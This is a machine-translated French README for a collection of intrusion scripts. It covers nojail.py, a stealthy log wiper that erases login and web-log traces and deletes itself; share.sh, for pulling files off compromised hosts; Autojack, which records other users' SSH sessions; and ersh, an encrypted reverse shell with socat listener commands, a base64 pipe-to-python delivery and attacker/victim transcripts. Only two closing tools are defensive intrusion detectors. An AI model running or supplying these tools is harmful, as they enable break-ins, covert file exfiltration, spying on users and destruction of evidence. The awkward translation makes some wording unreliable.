Ce référentiel contient des scripts qui peuvent être utiles lors de vos activités de lutte contre la liberté. Il sera mis à jour occasionnellement, lorsque j'ai besoin de quelque chose que je ne trouve pas en ligne. Tout ici est distribué en vertu des termes de la licence GPL V3.
Les contributions et les demandes de traction sont les bienvenues.
Un nettoyeur de journaux qui supprime les entrées incriminantes dans:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(contrôle la sortie du who
, w
et last
commandes)/var/log/lastlog
(contrôle la sortie de la commande lastlog
)/var/**/*.log
(.log.1, .log.2.gz, etc. inclus)Les entrées sont supprimées en fonction d'une adresse IP et d'un nom d'hôte associé.
Des soins spéciaux sont pris en charge pour éviter de briser les descripteurs de fichiers tout en altérant des journaux. Cela signifie que les journaux continuent d'être écrits après avoir été falsifiés, ce qui rend le nettoyage beaucoup moins visible. Tous les travaux se déroulent dans un lecteur TMPFS et tous les fichiers créés sont essuyés en toute sécurité.
Avertissement: le script n'a été testé que sur Linux et ne pourra pas nettoyer les entrées UTMP sur d'autres saveurs Unix.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
Par défaut, si aucun argument n'est donné, le script essaiera de déterminer l'adresse IP à frotter en fonction de la variable d'environnement SSH_CONNECTION
. Toute entrée correspondant au DNS inverse de cette IP sera également supprimée.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... Supprimera toutes les entrées pour la racine de l'utilisateur où l'adresse IP est 151.80.119.32 ou le hostame est manalyzer.org
. L'utilisateur sera également invité avant de supprimer chaque enregistrement en raison de l'option --check
. Enfin, le fichier /etc/app/logs/access.log
sera traité en plus de tous les par défaut.
Si les dossiers sont donnés comme arguments de position ( /etc/app/logs/
par exemple), le script les rampera récursivement et nettoiera n'importe quel fichier avec l'extension .log
(* .log.1, * .log.2.gz, etc. .
Vous pouvez également supprimer les lignes arbitraires du fichier journal. Pour ce faire, utilisez l'option --regexp
. Par exemple, la ligne de commande suivante recherchera toutes les demandes de publication aux fichiers PHP à partir de l'IP spécifiée:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
En supposant que cela soit exécuté à partir d'une connexion SSH, cette commande supprimera tous les journaux concernant l'activité de l'utilisateur actuel avec l'adresse IP détectée et le nom d'hôte juste après la fermeture de la connexion. Ce script se supprimera ensuite automatiquement. Veuillez garder à l'esprit que vous n'aurez aucune possibilité de recevoir des messages d'erreur de l'application. Vous êtes encouragé à essayer de supprimer les journaux une fois avant de reprendre le démon pour vous assurer que les arguments que vous avez spécifiés sont corrects. Si vous êtes dans un shell sans tty, le script ne pourra pas détecter la fin de la session. Vous serez informé que les journaux seront supprimés en 60 secondes et que vous devez vous connecter avant cela (ou risquer de créer plus d'entrées après l'exécution du script).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Ce script est fourni sans aucune garantie. Ne me blâmez pas, cela n'essuie pas toutes les traces de quelque chose que vous n'auriez pas dû faire en premier lieu.
Un script de partage de fichiers portable et sécurisé. Bien que la liberté se bat, il n'est généralement pas possible de les fichiers SCP en machines compromises. D'autres façons de télécharger des fichiers sont nécessaires, mais la plupart des services de partage sont trop restrictifs ou ne fournissent pas de moyen de récupérer facilement les fichiers à partir de la ligne de commande. Les considérations de sécurité peuvent également empêcher les gens de télécharger des fichiers sensibles aux fournisseurs de cloud de craindre qu'ils en conservent une copie pour toujours.
Ce petit script bash portable repose sur Transfer.sh pour résoudre ce problème. Il...
torify
s'il est présent sur le système pour une anonimité accrue. Les seules dépendances nécessaires sont openssl
et curl
ou wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Les arguments supplémentaires pendant le téléchargement vous permettent de contrôler le nombre maximal de téléchargements autorisés pour le fichier ( -m
) et combien de jours transfert.sh le conservera ( -d
). La valeur par défaut pour ces deux options est 1.
AVERTISSEMENT : N'utilisez pas d'espaces dans la clé de chiffrement, ou seul le premier mot de votre phrase de passe sera pris en compte. Cela est dû à la façon dont getopts
gère les arguments (je pense). Les demandes de traction sont les bienvenues si quelqu'un est intéressé à résoudre ce problème.
Autojack est un court script en tirant parti de Shelljack de videMonkey pour enregistrer le terminal de tout utilisateur se connectant via SSH. Il regarde auth.log
pour des connexions réussies, détermine le PID du processus bash
de l'utilisateur et laisse le reste à shelljack
.
Lancez-le dans un écran et attendez que les autres utilisateurs se connectent. Leur session sera enregistrée à /root/.local/sj.log.[user].[timestamp]
Le script n'est pas particulièrement furtif (aucune tentative n'est faite pour masquer le processus shelljack
) mais il fera le travail. Notez que pour éviter l'auto-incrimination, l'utilisateur root
n'est pas ciblé (cela peut être commenté trivialement dans le code).
ListUrl est un robot de site Web multi-thread qui obtient une liste des pages disponibles à partir de la cible. Ce script est utile pour les chasseurs de la bouteuse de bogues essayant d'établir la surface d'attaque d'une application Web.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Voici l'exemple de sortie pour un petit site Web:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
Les options --exclude-regexp
et --show-regexp
sont utilisées pour contrôler les URL doivent être affichées ou ignorées. Par exemple, dans l'exemple ci-dessus, vous souhaiterez peut-être ignorer les pages susceptibles d'être très similaires:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Notez que les URL correspondantes ne seront pas rampées. Ceci est particulièrement utile lorsque le script se perd dans les pages de commentaires profondes ou le contenu répétitif. Alternativement, vous ne serez peut-être intéressé que par les scripts PHP: ./listurl.py --show-regexp ".php$"
.
Par défaut, le Crawler va seulement à 3 niveaux de profondeur. C'est quelque chose que vous pouvez contrôler avec l'option --max-depth
.
Une autre considération est de savoir si les URL pointant vers des domaines externes doivent être suivis. Par défaut, le script ne le fait pas, mais vous pouvez l'activer en définissant le commutateur --external
. Si vous n'êtes pas intéressé par des domaines externes aléatoires mais que vous souhaitez toujours prolonger la rampe aux sous-domaines, vous pouvez définir l'interrupteur --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Notez que si le script prend trop de temps, vous pouvez appuyer sur Ctrl + C à tout moment pour l'arrêter. Vous serez ensuite affiché les pages découvertes jusqu'à présent.
Si vous devez accéder à des pages authentifiées sur un site Web, vous pouvez fournir des cookies à ListUrl.py à partir de la ligne de commande avec l'option --cookie
.
Enfin, si vous travaillez sur un site Web qui a un certificat SSL non valide ou auto-signé, utilisez l'option --no-certificate-check
pour ignorer les erreurs SSL.
ersh
est une coquille inversée cryptée écrite en pur python. Avez-vous déjà été sur une boîte sans utilitaires ni outils de compilation standard, et aucun moyen facile de télécharger des binaires? Avez-vous peur qu'un IDS remarquera une coquille sortante? Fermé accidentellement votre auditeur Netcat parce que vous avez pressé ^C
? Ne souffre plus.
ersh
propose les fonctionnalités suivantes:
Pour une discussion plus détaillée sur la façon dont cet outil a vu le jour, veuillez vous référer à ce billet de blog.
Ce script doit être modifié avant qu'il ne fonctionne! Recherchez ce marqueur vers le début:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
L' HOST
et PORT
sont explicites, mais vous pouvez avoir besoin d'aide supplémentaire pour les certificats SSL. Personne ne veut cependant lutter contre le client d'OpenSSL, vous pouvez donc simplement utiliser les one-liners suivants:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
C'est ça! Vous devriez maintenant avoir cinq nouveaux fichiers dans votre dossier actuel: server.(crt|key|pem)
et client.(crt|key)
. Certains d'entre eux doivent être insérés dans le script afin que le shell inversé et l'auditeur puissent s'authentifier mutuellement. Spécifiquement:
client_key
doit contenir le contenu de client.key
.client_crt
doit contenir le contenu de client.crt
.server_crt
doit contenir le contenu de server.crt
.C'est tout, plus d'édition requise.
Étant donné qu'une négociation TLS complète va se dérouler, un auditeur traditionnel nc
ne suffira pas ici. socat
a été choisi pour cette tâche, en raison de sa capacité à gérer le chiffrement et les TTY. Sur les distributions basées sur Debian, vous devriez être en mesure de l'obtenir en exécutant simplement sudo apt-get install socat
.
En supposant que vous êtes toujours dans le dossier où vous avez généré les clés et les certificats, et que vous souhaitez écouter sur le port 443, voici la ligne de commande que vous devez exécuter sur la machine où le shell inversé arrivera:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Vous n'avez pas besoin de copier le script sur la machine distante pour qu'il fonctionne. Voici un moyen simple de l'exécuter à partir d'un shell non interactif. Copiez l'intégralité du script dans votre presse-papiers et exécutez les commandes suivantes sur la victime:
python - <<'EOF'
[paste script contents here]
'EOF'
Si vous essayez de lancer ersh.py
à partir d'un environnement qui ne prend pas en charge plusieurs lignes (comme Weevely), vous pouvez également essayer de générer une seule ligne comme ceci:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
Sur la machine du récepteur:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Sur la victime:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
Et sur le récepteur à nouveau:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Ce script a été écrit pour détecter les attaques de femme de chambre maléfiques. Il le fait en vérifiant au démarrage si le disque dur était allumé mais pas le système d'exploitation (par exemple, s'il a été retiré de l'ordinateur pour une copie, ou si quelqu'un a essayé de démarrer la machine mais a été arrêté par un mot de passe FDE ).
Vous devez vous assurer que ce script s'exécutera à chaque démarrage. Les instructions suivantes fonctionneront sur les distributions à l'aide de SystemD.
/etc/systemd/system/
. Réparez les chemins à l'intérieur au besoin. Le script s'exécutera comme root, alors assurez-vous qu'il n'est pas dans le monde entier!#> systemctl enable boot_check.service
Installez les dépendances:
#> apt install smartmontools dialog
Exécutez le script une fois pour qu'il s'initialise:
#> ./boot_check.py
Si un message de confirmation apparaît, vous êtes prêt à partir.
Si vous souhaitez vous assurer que le script fonctionne, assurez-vous de faire ce qui suit:
Ce script a été créé pour fournir un moyen simple de "booby-trap" certains exécutables sur un système Linux. L'idée est de détecter les intrus lorsqu'ils utilisent certains binaires ( id
, whoami
, gcc
) sur un serveur qu'ils ne possèdent pas.
Pour protéger ces binaires, notify_hook.py
Créer des liens symboliques vers ce script supérieur dans le PATH
. notify_hook
vous enverra ensuite une alerte et appellera le programme prévu de manière transparente. Par exemple, si vous souhaitez "protéger" id
, créez simplement le lien de symbolique suivant sur votre machine:
ln -s path/to/notify_hook.py /usr/local/bin/id
... et tous les appels futurs à id
devraient être acheminés via ce script. Ce n'est évidemment pas un moyen infaillible de détecter les pirates sur vos systèmes, mais il devrait néanmoins attraper les intrus les plus négligents.
Certains programmes et scripts sur votre système peuvent régulièrement invoquer certains des binaires que vous souhaitez protéger. Dans ce cas, vous pouvez modifier une variable appelée CALLER_WHITELIST
placée au début du script. Mettez le nom de ces processus dans la liste pour en désactiver les alertes (les expressions régulières sont acceptées).
La méthode de notification actuelle implémentée dans ce script est un message texte envoyé par le signal avec Signal-Cli d'Asamk. Vous devrez installer ce projet séparément si vous souhaitez l'utiliser, ou, plus probablement, remplacer la fonction notify_callback
placée sur notify_hook.py
par tout ce qui répond à vos besoins.